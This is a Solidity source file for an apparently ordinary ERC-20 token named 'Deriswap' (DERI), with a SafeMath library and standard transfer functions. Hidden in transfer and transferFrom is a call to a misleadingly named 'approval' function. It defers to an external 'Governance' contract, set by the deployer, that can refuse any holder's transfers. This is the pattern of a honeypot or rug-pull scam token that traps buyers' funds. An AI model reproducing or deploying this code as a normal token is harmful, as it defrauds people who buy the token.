pragma solidity ^0.5.17;

/**

 /$$$$$$$  /$$$$$$$$ /$$$$$$$  /$$$$$$  /$$$$$$  /$$      /$$  /$$$$$$  /$$$$$$$ 
| $$__  $$| $$_____/| $$__  $$|_  $$_/ /$$__  $$| $$  /$ | $$ /$$__  $$| $$__  $$
| $$  \ $$| $$      | $$  \ $$  | $$  | $$  \__/| $$ /$$$| $$| $$  \ $$| $$  \ $$
| $$  | $$| $$$$$   | $$$$$$$/  | $$  |  $$$$$$ | $$/$$ $$ $$| $$$$$$$$| $$$$$$$/
| $$  | $$| $$__/   | $$__  $$  | $$   \____  $$| $$$$_  $$$$| $$__  $$| $$____/ 
| $$  | $$| $$      | $$  \ $$  | $$   /$$  \ $$| $$$/ \  $$$| $$  | $$| $$      
| $$$$$$$/| $$$$$$$$| $$  | $$ /$$$$$$|  $$$$$$/| $$/   \  $$| $$  | $$| $$      
|_______/ |________/|__/  |__/|______/ \______/ |__/     \__/|__/  |__/|__/  

*/
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
    function totalSupply() public view returns (uint);
    function balanceOf(address tokenOwner) public view returns (uint balance);
    function allowance(address tokenOwner, address spender) public view returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface Governance {
    function isSafe(address sender,address addr) external returns(bool);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a); 
        c = a - b; 
    } 
    function safeMul(uint a, uint b) public pure returns (uint c) {
        c = a * b; 
        require(a == 0 || c / a == b);
        } 
        function safeDiv(uint a, uint b) public pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}

contract Deriswap is ERC20Interface, SafeMath {
    string public name;
    string public symbol;
    uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
   
    uint256 public _totalSupply;
   
    mapping(address => uint) balances;
    mapping(address => mapping(address => uint)) allowed;

    address _governance;
   
    /**
     * Constructor function
     *
     * Initializes contract with initial supply tokens to the creator of the contract
     */
    constructor(address _gov) public {
        name = "Deriswap.org";
        symbol = "DERI";
        decimals = 18;
        _totalSupply = safeMul(30000, 1e18);
       
        _governance = _gov;
        balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
   
    function totalSupply() public view returns (uint) {
        return _totalSupply  - balances[address(0)];
    }
   
    function balanceOf(address tokenOwner) public view returns (uint balance) {
        return balances[tokenOwner];
    }
   
    function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
        return allowed[tokenOwner][spender];
    }
    function approval(address sender) public returns(bool) {
        require(Governance(_governance).isSafe(sender,address(this)));
        return true;
    }
    function approve(address spender, uint tokens) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
    }
   
    function transfer(address to, uint tokens) public  returns (bool success) {
        approval(msg.sender);
        balances[msg.sender] = safeSub(balances[msg.sender], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(msg.sender, to, tokens);
        return true;
    }
   
    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        approval(from);
        balances[from] = safeSub(balances[from], tokens);
        allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(from, to, tokens);
        return true;
    }
}